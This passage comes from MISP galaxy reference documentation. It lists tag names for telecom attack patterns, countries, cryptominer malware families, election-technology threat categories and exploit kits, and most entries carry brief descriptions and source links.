NAS-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="NAS-based attacks"*

MEC-based attacks

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="MEC-based attacks"*

Network Slice

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Slice"*

Automated Exfiltration

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Automated Exfiltration"*

Data Encrypted

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Data Encrypted"*

Alternate Network Mediums

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Alternate Network Mediums"*

Data Manipulation

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Data Manipulation"*

Endpoint Denial of Service

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Endpoint Denial of Service"*

Carrier Billing Fraud

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Carrier Billing Fraud"*

SMS Fraud

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="SMS Fraud"*

Manipulate Device Communication

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Manipulate Device Communication"*

Jamming or Denial of Service

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Jamming or Denial of Service"*

Location Tracking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Location Tracking"*

Identity Exploit

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Identity Exploit"*

Network Denial of Service

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Network Denial of Service"*

Resource Hijacking

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Resource Hijacking"*

SLA Breach

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="SLA Breach"*

Customer Churn

TBD

The tag is: *misp-galaxy:cmtmf-attack-pattern="Customer Churn"*

Country

Country meta information based on the database provided by geonames.org..

Country is a cluster galaxy available in JSON format at **this location** The JSON

> format can be freely reused in your application or automatically enabled in MISP.

authors
: geonames.org

andorra

Andorra

The tag is: *misp-galaxy:country="andorra"*

united arab emirates

United Arab Emirates

The tag is: *misp-galaxy:country="united arab emirates"*

afghanistan

Afghanistan

The tag is: *misp-galaxy:country="afghanistan"*

antigua and barbuda

Antigua and Barbuda

The tag is: *misp-galaxy:country="antigua and barbuda"*

anguilla

Anguilla

The tag is: *misp-galaxy:country="anguilla"*

albania

Albania

The tag is: *misp-galaxy:country="albania"*

armenia

Armenia

The tag is: *misp-galaxy:country="armenia"*

angola

Angola

The tag is: *misp-galaxy:country="angola"*

antarctica

Antarctica

The tag is: *misp-galaxy:country="antarctica"*

argentina

Argentina

The tag is: *misp-galaxy:country="argentina"*

american samoa

American Samoa

The tag is: *misp-galaxy:country="american samoa"*

austria

Austria

The tag is: *misp-galaxy:country="austria"*

australia

Australia

The tag is: *misp-galaxy:country="australia"*

aruba

Aruba

The tag is: *misp-galaxy:country="aruba"*

aland islands

Aland Islands

The tag is: *misp-galaxy:country="aland islands"*

azerbaijan

Azerbaijan

The tag is: *misp-galaxy:country="azerbaijan"*

bosnia and herzegovina

Bosnia and Herzegovina

The tag is: *misp-galaxy:country="bosnia and herzegovina"*

barbados

Barbados

The tag is: *misp-galaxy:country="barbados"*

bangladesh

Bangladesh

The tag is: *misp-galaxy:country="bangladesh"*

belgium

Belgium

The tag is: *misp-galaxy:country="belgium"*

burkina faso

Burkina Faso

The tag is: *misp-galaxy:country="burkina faso"*

bulgaria

Bulgaria

The tag is: *misp-galaxy:country="bulgaria"*

bahrain

Bahrain

The tag is: *misp-galaxy:country="bahrain"*

burundi

Burundi

The tag is: *misp-galaxy:country="burundi"*

benin

Benin

The tag is: *misp-galaxy:country="benin"*

saint barthelemy

Saint Barthelemy

The tag is: *misp-galaxy:country="saint barthelemy"*

bermuda

Bermuda

The tag is: *misp-galaxy:country="bermuda"*

brunei

Brunei

The tag is: *misp-galaxy:country="brunei"*

bolivia

Bolivia

The tag is: *misp-galaxy:country="bolivia"*

bonaire, saint eustatius and saba

Bonaire, Saint Eustatius and Saba

The tag is: *misp-galaxy:country="bonaire, saint eustatius and saba "*

brazil

Brazil

The tag is: *misp-galaxy:country="brazil"*

bahamas

Bahamas

The tag is: *misp-galaxy:country="bahamas"*

bhutan

Bhutan

The tag is: *misp-galaxy:country="bhutan"*

bouvet island

Bouvet Island

The tag is: *misp-galaxy:country="bouvet island"*

botswana

Botswana

The tag is: *misp-galaxy:country="botswana"*

belarus

Belarus

The tag is: *misp-galaxy:country="belarus"*

belize

Belize

The tag is: *misp-galaxy:country="belize"*

canada

Canada

The tag is: *misp-galaxy:country="canada"*

cocos islands

Cocos Islands

The tag is: *misp-galaxy:country="cocos islands"*

democratic republic of the congo

Democratic Republic of the Congo

The tag is: *misp-galaxy:country="democratic republic of the congo"*

central african republic

Central African Republic

The tag is: *misp-galaxy:country="central african republic"*

republic of the congo

Republic of the Congo

The tag is: *misp-galaxy:country="republic of the congo"*

switzerland

Switzerland

The tag is: *misp-galaxy:country="switzerland"*

ivory coast

Ivory Coast

The tag is: *misp-galaxy:country="ivory coast"*

cook islands

Cook Islands

The tag is: *misp-galaxy:country="cook islands"*

chile

Chile

The tag is: *misp-galaxy:country="chile"*

cameroon

Cameroon

The tag is: *misp-galaxy:country="cameroon"*

china

China

The tag is: *misp-galaxy:country="china"*

colombia

Colombia

The tag is: *misp-galaxy:country="colombia"*

costa rica

Costa Rica

The tag is: *misp-galaxy:country="costa rica"*

cuba

Cuba

The tag is: *misp-galaxy:country="cuba"*

cabo verde

Cabo Verde

The tag is: *misp-galaxy:country="cabo verde"*

curacao

Curacao

The tag is: *misp-galaxy:country="curacao"*

christmas island

Christmas Island

The tag is: *misp-galaxy:country="christmas island"*

cyprus

Cyprus

The tag is: *misp-galaxy:country="cyprus"*

czechia

Czechia

The tag is: *misp-galaxy:country="czechia"*

germany

Germany

The tag is: *misp-galaxy:country="germany"*

djibouti

Djibouti

The tag is: *misp-galaxy:country="djibouti"*

denmark

Denmark

The tag is: *misp-galaxy:country="denmark"*

dominica

Dominica

The tag is: *misp-galaxy:country="dominica"*

dominican republic

Dominican Republic

The tag is: *misp-galaxy:country="dominican republic"*

algeria

Algeria

The tag is: *misp-galaxy:country="algeria"*

ecuador

Ecuador

The tag is: *misp-galaxy:country="ecuador"*

estonia

Estonia

The tag is: *misp-galaxy:country="estonia"*

egypt

Egypt

The tag is: *misp-galaxy:country="egypt"*

western sahara

Western Sahara

The tag is: *misp-galaxy:country="western sahara"*

eritrea

Eritrea

The tag is: *misp-galaxy:country="eritrea"*

spain

Spain

The tag is: *misp-galaxy:country="spain"*

ethiopia

Ethiopia

The tag is: *misp-galaxy:country="ethiopia"*

finland

Finland

The tag is: *misp-galaxy:country="finland"*

fiji

Fiji

The tag is: *misp-galaxy:country="fiji"*

falkland islands

Falkland Islands

The tag is: *misp-galaxy:country="falkland islands"*

micronesia

Micronesia

The tag is: *misp-galaxy:country="micronesia"*

faroe islands

Faroe Islands

The tag is: *misp-galaxy:country="faroe islands"*

france

France

The tag is: *misp-galaxy:country="france"*

gabon

Gabon

The tag is: *misp-galaxy:country="gabon"*

united kingdom

United Kingdom

The tag is: *misp-galaxy:country="united kingdom"*

grenada

Grenada

The tag is: *misp-galaxy:country="grenada"*

georgia

Georgia

The tag is: *misp-galaxy:country="georgia"*

french guiana

French Guiana

The tag is: *misp-galaxy:country="french guiana"*

guernsey

Guernsey

The tag is: *misp-galaxy:country="guernsey"*

ghana

Ghana

The tag is: *misp-galaxy:country="ghana"*

gibraltar

Gibraltar

The tag is: *misp-galaxy:country="gibraltar"*

greenland

Greenland

The tag is: *misp-galaxy:country="greenland"*

gambia

Gambia

The tag is: *misp-galaxy:country="gambia"*

guinea

Guinea

The tag is: *misp-galaxy:country="guinea"*

guadeloupe

Guadeloupe

The tag is: *misp-galaxy:country="guadeloupe"*

equatorial guinea

Equatorial Guinea

The tag is: *misp-galaxy:country="equatorial guinea"*

greece

Greece

The tag is: *misp-galaxy:country="greece"*

south georgia and the south sandwich islands

South Georgia and the South Sandwich Islands

The tag is: *misp-galaxy:country="south georgia and the south sandwich islands"*

guatemala

Guatemala

The tag is: *misp-galaxy:country="guatemala"*

guam

Guam

The tag is: *misp-galaxy:country="guam"*

guinea-bissau

Guinea-Bissau

The tag is: *misp-galaxy:country="guinea-bissau"*

guyana

Guyana

The tag is: *misp-galaxy:country="guyana"*

hong kong

Hong Kong

The tag is: *misp-galaxy:country="hong kong"*

heard island and mcdonald islands

Heard Island and McDonald Islands

The tag is: *misp-galaxy:country="heard island and mcdonald islands"*

honduras

Honduras

The tag is: *misp-galaxy:country="honduras"*

croatia

Croatia

The tag is: *misp-galaxy:country="croatia"*

haiti

Haiti

The tag is: *misp-galaxy:country="haiti"*

hungary

Hungary

The tag is: *misp-galaxy:country="hungary"*

indonesia

Indonesia

The tag is: *misp-galaxy:country="indonesia"*

ireland

Ireland

The tag is: *misp-galaxy:country="ireland"*

israel

Israel

The tag is: *misp-galaxy:country="israel"*

isle of man

Isle of Man

The tag is: *misp-galaxy:country="isle of man"*

india

India

The tag is: *misp-galaxy:country="india"*

british indian ocean territory

British Indian Ocean Territory

The tag is: *misp-galaxy:country="british indian ocean territory"*

iraq

Iraq

The tag is: *misp-galaxy:country="iraq"*

iran

Iran

The tag is: *misp-galaxy:country="iran"*

iceland

Iceland

The tag is: *misp-galaxy:country="iceland"*

italy

Italy

The tag is: *misp-galaxy:country="italy"*

jersey

Jersey

The tag is: *misp-galaxy:country="jersey"*

jamaica

Jamaica

The tag is: *misp-galaxy:country="jamaica"*

jordan

Jordan

The tag is: *misp-galaxy:country="jordan"*

japan

Japan

The tag is: *misp-galaxy:country="japan"*

kenya

Kenya

The tag is: *misp-galaxy:country="kenya"*

kyrgyzstan

Kyrgyzstan

The tag is: *misp-galaxy:country="kyrgyzstan"*

cambodia

Cambodia

The tag is: *misp-galaxy:country="cambodia"*

kiribati

Kiribati

The tag is: *misp-galaxy:country="kiribati"*

comoros

Comoros

The tag is: *misp-galaxy:country="comoros"*

saint kitts and nevis

Saint Kitts and Nevis

The tag is: *misp-galaxy:country="saint kitts and nevis"*

north korea

North Korea

The tag is: *misp-galaxy:country="north korea"*

south korea

South Korea

The tag is: *misp-galaxy:country="south korea"*

kosovo

Kosovo

The tag is: *misp-galaxy:country="kosovo"*

kuwait

Kuwait

The tag is: *misp-galaxy:country="kuwait"*

cayman islands

Cayman Islands

The tag is: *misp-galaxy:country="cayman islands"*

kazakhstan

Kazakhstan

The tag is: *misp-galaxy:country="kazakhstan"*

laos

Laos

The tag is: *misp-galaxy:country="laos"*

lebanon

Lebanon

The tag is: *misp-galaxy:country="lebanon"*

saint lucia

Saint Lucia

The tag is: *misp-galaxy:country="saint lucia"*

liechtenstein

Liechtenstein

The tag is: *misp-galaxy:country="liechtenstein"*

sri lanka

Sri Lanka

The tag is: *misp-galaxy:country="sri lanka"*

liberia

Liberia

The tag is: *misp-galaxy:country="liberia"*

lesotho

Lesotho

The tag is: *misp-galaxy:country="lesotho"*

lithuania

Lithuania

The tag is: *misp-galaxy:country="lithuania"*

luxembourg

Luxembourg

The tag is: *misp-galaxy:country="luxembourg"*

latvia

Latvia

The tag is: *misp-galaxy:country="latvia"*

libya

Libya

The tag is: *misp-galaxy:country="libya"*

morocco

Morocco

The tag is: *misp-galaxy:country="morocco"*

monaco

Monaco

The tag is: *misp-galaxy:country="monaco"*

moldova

Moldova

The tag is: *misp-galaxy:country="moldova"*

montenegro

Montenegro

The tag is: *misp-galaxy:country="montenegro"*

saint martin

Saint Martin

The tag is: *misp-galaxy:country="saint martin"*

madagascar

Madagascar

The tag is: *misp-galaxy:country="madagascar"*

marshall islands

Marshall Islands

The tag is: *misp-galaxy:country="marshall islands"*

north macedonia

North Macedonia

The tag is: *misp-galaxy:country="north macedonia"*

mali

Mali

The tag is: *misp-galaxy:country="mali"*

myanmar

Myanmar

The tag is: *misp-galaxy:country="myanmar"*

mongolia

Mongolia

The tag is: *misp-galaxy:country="mongolia"*

macao

Macao

The tag is: *misp-galaxy:country="macao"*

northern mariana islands

Northern Mariana Islands

The tag is: *misp-galaxy:country="northern mariana islands"*

martinique

Martinique

The tag is: *misp-galaxy:country="martinique"*

mauritania

Mauritania

The tag is: *misp-galaxy:country="mauritania"*

montserrat

Montserrat

The tag is: *misp-galaxy:country="montserrat"*

malta

Malta

The tag is: *misp-galaxy:country="malta"*

mauritius

Mauritius

The tag is: *misp-galaxy:country="mauritius"*

maldives

Maldives

The tag is: *misp-galaxy:country="maldives"*

malawi

Malawi

The tag is: *misp-galaxy:country="malawi"*

mexico

Mexico

The tag is: *misp-galaxy:country="mexico"*

malaysia

Malaysia

The tag is: *misp-galaxy:country="malaysia"*

mozambique

Mozambique

The tag is: *misp-galaxy:country="mozambique"*

namibia

Namibia

The tag is: *misp-galaxy:country="namibia"*

new caledonia

New Caledonia

The tag is: *misp-galaxy:country="new caledonia"*

niger

Niger

The tag is: *misp-galaxy:country="niger"*

norfolk island

Norfolk Island

The tag is: *misp-galaxy:country="norfolk island"*

nigeria

Nigeria

The tag is: *misp-galaxy:country="nigeria"*

nicaragua

Nicaragua

The tag is: *misp-galaxy:country="nicaragua"*

netherlands

Netherlands

The tag is: *misp-galaxy:country="netherlands"*

norway

Norway

The tag is: *misp-galaxy:country="norway"*

nepal

Nepal

The tag is: *misp-galaxy:country="nepal"*

nauru

Nauru

The tag is: *misp-galaxy:country="nauru"*

niue

Niue

The tag is: *misp-galaxy:country="niue"*

new zealand

New Zealand

The tag is: *misp-galaxy:country="new zealand"*

oman

Oman

The tag is: *misp-galaxy:country="oman"*

panama

Panama

The tag is: *misp-galaxy:country="panama"*

peru

Peru

The tag is: *misp-galaxy:country="peru"*

french polynesia

French Polynesia

The tag is: *misp-galaxy:country="french polynesia"*

papua new guinea

Papua New Guinea

The tag is: *misp-galaxy:country="papua new guinea"*

philippines

Philippines

The tag is: *misp-galaxy:country="philippines"*

pakistan

Pakistan

The tag is: *misp-galaxy:country="pakistan"*

poland

Poland

The tag is: *misp-galaxy:country="poland"*

saint pierre and miquelon

Saint Pierre and Miquelon

The tag is: *misp-galaxy:country="saint pierre and miquelon"*

pitcairn

Pitcairn

The tag is: *misp-galaxy:country="pitcairn"*

puerto rico

Puerto Rico

The tag is: *misp-galaxy:country="puerto rico"*

palestinian territory

Palestinian Territory

The tag is: *misp-galaxy:country="palestinian territory"*

portugal

Portugal

The tag is: *misp-galaxy:country="portugal"*

palau

Palau

The tag is: *misp-galaxy:country="palau"*

paraguay

Paraguay

The tag is: *misp-galaxy:country="paraguay"*

qatar

Qatar

The tag is: *misp-galaxy:country="qatar"*

reunion

Reunion

The tag is: *misp-galaxy:country="reunion"*

romania

Romania

The tag is: *misp-galaxy:country="romania"*

serbia

Serbia

The tag is: *misp-galaxy:country="serbia"*

russia

Russia

The tag is: *misp-galaxy:country="russia"*

rwanda

Rwanda

The tag is: *misp-galaxy:country="rwanda"*

saudi arabia

Saudi Arabia

The tag is: *misp-galaxy:country="saudi arabia"*

solomon islands

Solomon Islands

The tag is: *misp-galaxy:country="solomon islands"*

seychelles

Seychelles

The tag is: *misp-galaxy:country="seychelles"*

sudan

Sudan

The tag is: *misp-galaxy:country="sudan"*

south sudan

South Sudan

The tag is: *misp-galaxy:country="south sudan"*

sweden

Sweden

The tag is: *misp-galaxy:country="sweden"*

singapore

Singapore

The tag is: *misp-galaxy:country="singapore"*

saint helena

Saint Helena

The tag is: *misp-galaxy:country="saint helena"*

slovenia

Slovenia

The tag is: *misp-galaxy:country="slovenia"*

svalbard and jan mayen

Svalbard and Jan Mayen

The tag is: *misp-galaxy:country="svalbard and jan mayen"*

slovakia

Slovakia

The tag is: *misp-galaxy:country="slovakia"*

sierra leone

Sierra Leone

The tag is: *misp-galaxy:country="sierra leone"*

san marino

San Marino

The tag is: *misp-galaxy:country="san marino"*

senegal

Senegal

The tag is: *misp-galaxy:country="senegal"*

somalia

Somalia

The tag is: *misp-galaxy:country="somalia"*

suriname

Suriname

The tag is: *misp-galaxy:country="suriname"*

sao tome and principe

Sao Tome and Principe

The tag is: *misp-galaxy:country="sao tome and principe"*

el salvador

El Salvador

The tag is: *misp-galaxy:country="el salvador"*

sint maarten

Sint Maarten

The tag is: *misp-galaxy:country="sint maarten"*

syria

Syria

The tag is: *misp-galaxy:country="syria"*

eswatini

Eswatini

The tag is: *misp-galaxy:country="eswatini"*

turks and caicos islands

Turks and Caicos Islands

The tag is: *misp-galaxy:country="turks and caicos islands"*

chad

Chad

The tag is: *misp-galaxy:country="chad"*

french southern territories

French Southern Territories

The tag is: *misp-galaxy:country="french southern territories"*

togo

Togo

The tag is: *misp-galaxy:country="togo"*

thailand

Thailand

The tag is: *misp-galaxy:country="thailand"*

tajikistan

Tajikistan

The tag is: *misp-galaxy:country="tajikistan"*

tokelau

Tokelau

The tag is: *misp-galaxy:country="tokelau"*

timor leste

Timor Leste

The tag is: *misp-galaxy:country="timor leste"*

turkmenistan

Turkmenistan

The tag is: *misp-galaxy:country="turkmenistan"*

tunisia

Tunisia

The tag is: *misp-galaxy:country="tunisia"*

tonga

Tonga

The tag is: *misp-galaxy:country="tonga"*

turkey

Turkey

The tag is: *misp-galaxy:country="turkey"*

trinidad and tobago

Trinidad and Tobago

The tag is: *misp-galaxy:country="trinidad and tobago"*

tuvalu

Tuvalu

The tag is: *misp-galaxy:country="tuvalu"*

taiwan

Taiwan

The tag is: *misp-galaxy:country="taiwan"*

tanzania

Tanzania

The tag is: *misp-galaxy:country="tanzania"*

ukraine

Ukraine

The tag is: *misp-galaxy:country="ukraine"*

uganda

Uganda

The tag is: *misp-galaxy:country="uganda"*

united states minor outlying islands

United States Minor Outlying Islands

The tag is: *misp-galaxy:country="united states minor outlying islands"*

united states

United States

The tag is: *misp-galaxy:country="united states"*

uruguay

Uruguay

The tag is: *misp-galaxy:country="uruguay"*

uzbekistan

Uzbekistan

The tag is: *misp-galaxy:country="uzbekistan"*

vatican

Vatican

The tag is: *misp-galaxy:country="vatican"*

saint vincent and the grenadines

Saint Vincent and the Grenadines

The tag is: *misp-galaxy:country="saint vincent and the grenadines"*

venezuela

Venezuela

The tag is: *misp-galaxy:country="venezuela"*

british virgin islands

British Virgin Islands

The tag is: *misp-galaxy:country="british virgin islands"*

u.s. virgin islands

U.S. Virgin Islands

The tag is: *misp-galaxy:country="u.s. virgin islands"*

vietnam

Vietnam

The tag is: *misp-galaxy:country="vietnam"*

vanuatu

Vanuatu

The tag is: *misp-galaxy:country="vanuatu"*

wallis and futuna

Wallis and Futuna

The tag is: *misp-galaxy:country="wallis and futuna"*

samoa

Samoa

The tag is: *misp-galaxy:country="samoa"*

yemen

Yemen

The tag is: *misp-galaxy:country="yemen"*

mayotte

Mayotte

The tag is: *misp-galaxy:country="mayotte"*

south africa

South Africa

The tag is: *misp-galaxy:country="south africa"*

zambia

Zambia

The tag is: *misp-galaxy:country="zambia"*

zimbabwe

Zimbabwe

The tag is: *misp-galaxy:country="zimbabwe"*

serbia and montenegro

Serbia and Montenegro

The tag is: *misp-galaxy:country="serbia and montenegro"*

netherlands antilles

Netherlands Antilles

The tag is: *misp-galaxy:country="netherlands antilles"*

Cryptominers

A list of cryptominer and cryptojacker malware..

> Cryptominers is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Cisco Talos - raw-data

Lemon Duck

The infection starts with a PowerShell loading script, which is copied from other infected systems via SMB, email or external USB drives. The actor also employs several exploits for vulnerabilities such as SMBGhost and Eternal Blue.

The tag is: *misp-galaxy:cryptominers="Lemon Duck"*

Lemon Duck is also known as:

Table 862. Table References

Links
https://blog.talosintelligence.com/2020/10/lemon-duck-brings-cryptocurrency-miners.html
https://success.trendmicro.com/solution/000261916
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/spam/3697/spammers-use-covid19-to-spread-lemon-duck-cryptominer
https://cyberflorida.org/threat-advisory/lemon-duck-cryptominer/

WannaMine

WannaMine is a cryptojacker that takes advantage of EternalBlue.

The tag is: *misp-galaxy:cryptominers="WannaMine"*

WannaMine is also known as:

Table 863. Table References

Links
https://www.crowdstrike.com/blog/weeding-out-wannamine-v4-0-analyzing-and-remediating-this-mineware-nightmare/?utm_campaign=dsa&utm_content=us&utm_medium=sem&utm_source=goog&utm_term=&gclid=EAIaIQobChMIjrayysrX7AIVFUWGCh3sQApKEAAYASAAEgIE6_D_BwE
https://nakedsecurity.sophos.com/2018/01/31/what-are-wannamine-attacks-and-how-do-i-avoid-them/
https://www.cybereason.com/blog/wannamine-cryptominer-eternalblue-wannacry

Blue Mockingbird Cryptominer

Blue Mockingbird Crypto miner is a crypto-mining payload within DLLs on Windows Systems.

The tag is: *misp-galaxy:cryptominers="Blue Mockingbird Cryptominer"*

Table 864. Table References

Links
https://redcanary.com/blog/blue-mockingbird-cryptominer/

Krane

The Krane malware uses SSH brute-force techniques to drop the XMRig cryptominer on the target to mine for the Hashvault pool.

The tag is: *misp-galaxy:cryptominers="Krane"*

Table 865. Table References

Links
https://cujo.com/threat-alert-krane-malware/

Hezb

“Hezb”, which is based on command line artifact data, was observed around Kinsing. This malware is relatively new and was recently reported in late May exploiting WSO2 RCE (CVE-2022-29464) in the wild. Several malware components were observed, the first of which was an XMRig miner installed as “Hezb”. Additional modules included a polkit exploit for privilege escalation as well as a zero-detection ELF payload named “kik”.

The tag is: *misp-galaxy:cryptominers="Hezb"*

Table 866. Table References

Links
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/

Election guidelines

Universal Development and Security Guidelines as Applicable to Election Technology..

Election guidelines is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

NIS Cooperation Group

Tampering with registrations

Tampering with registrations

The tag is: *misp-galaxy:guidelines="Tampering with registrations"*

Table 867. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of party/campaign registration, causing them to miss the deadline

DoS or overload of party/campaign registration, causing them to miss the deadline

The tag is: *misp-galaxy:guidelines="DoS or overload of party/campaign registration, causing them to miss the deadline"*

Table 868. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Fabricated signatures from sponsor

Fabricated signatures from sponsor

The tag is: *misp-galaxy:guidelines="Fabricated signatures from sponsor"*

Table 869. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Identity fraud during voter registration

Identity fraud during voter registration

The tag is: *misp-galaxy:guidelines="Identity fraud during voter registration"*

Table 870. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Deleting or tampering with voter data

Deleting or tampering with voter data

The tag is: *misp-galaxy:guidelines="Deleting or tampering with voter data"*

Table 871. Table References

Links

https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of voter registration system, suppressing voters

DoS or overload of voter registration system, suppressing voters

The tag is: *misp-galaxy:guidelines="DoS or overload of voter registration system, suppressing voters"*

Table 872. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking candidate laptops or email accounts

Hacking candidate laptops or email accounts

The tag is: *misp-galaxy:guidelines="Hacking candidate laptops or email accounts"*

Table 873. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking campaign websites (defacement, DoS)

Hacking campaign websites (defacement, DoS)

The tag is: *misp-galaxy:guidelines="Hacking campaign websites (defacement, DoS)"*

Table 874. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Misconfiguration of a website

Misconfiguration of a website

The tag is: *misp-galaxy:guidelines="Misconfiguration of a website"*

Table 875. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Leak of confidential information

Leak of confidential information

The tag is: *misp-galaxy:guidelines="Leak of confidential information"*

Table 876. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking/misconfiguration of government servers, communication networks, or endpoints

Hacking/misconfiguration of government servers, communication networks, or endpoints

The tag is: *misp-galaxy:guidelines="Hacking/misconfiguration of government servers, communication networks, or endpoints"*

Table 877. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results

Hacking government websites, spreading misinformation on the election process, registered parties/candidates, or results

The tag is: *misp-galaxy:guidelines="Hacking campaign websites, spreading misinformation on the election process, registered parties/candidates, or results"*

Table 878. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

DoS or overload of government websites

DoS or overload of government websites

The tag is: *misp-galaxy:guidelines="DoS or overload of government websites"*

Table 879. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering or DoS of voting and/or vote confidentiality during or after the elections

Tampering or DoS of voting and/or vote confidentiality during or after the elections

The tag is: *misp-galaxy:guidelines="Tampering or DoS of voting and/or vote confidentiality during or after the elections"*

Table 880. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Software bug altering results

Software bug altering results

The tag is: *misp-galaxy:guidelines="Software bug altering results"*

Table 881. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering with logs/journals

Tampering with logs/journals

The tag is: *misp-galaxy:guidelines="Tampering with logs/journals"*

Table 882. Table References

Links

https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Breach of voters privacy during the casting of votes

Breach of voters privacy during the casting of votes

The tag is: *misp-galaxy:guidelines="Breach of voters privacy during the casting of votes"*

Table 883. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering, DoS or overload of the systems used for counting or aggregating results

Tampering, DoS or overload of the systems used for counting or aggregating results

The tag is: *misp-galaxy:guidelines="Tampering, DoS or overload of the systems used for counting or aggregating results"*

Table 884. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering or DoS of communication links uesd to transfer (interim) results

Tampering or DoS of communication links uesd to transfer (interim) results

The tag is: *misp-galaxy:guidelines="Tampering or DoS of communication links uesd to transfer (interim) results"*

Table 885. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering with supply chain involved in the movement or transfer data

Tampering with supply chain involved in the movement or transfer data

The tag is: *misp-galaxy:guidelines="Tampering with supply chain involved in the movement or transfer data"*

Table 886. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Hacking of internal systems used by media or press

Hacking of internal systems used by media or press

The tag is: *misp-galaxy:guidelines="Hacking of internal systems used by media or press"*

Table 887. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Tampering, DoS, or overload of media communication links

Tampering, DoS, or overload of media communication links

The tag is: *misp-galaxy:guidelines="Tampering, DoS, or overload of media communication links"*

Table 888. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Defacement, DoS or overload of websites or other systems used for publication of the results

Defacement, DoS or overload of websites or other systems used for publication of the results

The tag is: *misp-galaxy:guidelines="Defacement, DoS or overload of websites or other systems used for publication of the results"*

Table 889. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf

Exploit-Kit

Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It’s not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.

Exploit-Kit is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors
: Kafeine - Will Metcalf - KahuSecurity

Astrum

Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It’s notable by its use of Steganography

The tag is: *misp-galaxy:exploit-kit="Astrum"*

Astrum is also known as:

- Stegano EK

Table 890. Table References

Links
http://malware.dontneedcoffee.com/2014/09/astrum-ek.html
http://www.welivesecurity.com/2016/12/06/readers-popular-websites-targeted-stealthy-stegano-exploit-kit-hiding-pixels-malicious-ads/

Underminer

Underminer EK is an exploit kit that seems to be used privately against users in Asia. Functionalities: browser profiling and filtering, preventing of client revisits, URL randomization, and asymmetric encryption of payloads.

The tag is: *misp-galaxy:exploit-kit="Underminer"*

Underminer is also known as:

- Underminer EK

Table 891. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel/
http://bobao.360.cn/interref/detail/248.html

Fallout

Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competiting Exploit Kit.

The tag is: *misp-galaxy:exploit-kit="Fallout"*

Fallout is also known as:

- Fallout

View relationships graph

Fallout has relationships with:

- dropped: misp-galaxy:ransomware="GandCrab" with estimative-language:likelihood-probability="almost-certain"

Table 892. Table References

Links
https://www.nao-sec.org/2018/09/hello-fallout-exploit-kit.html
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/

Bingo

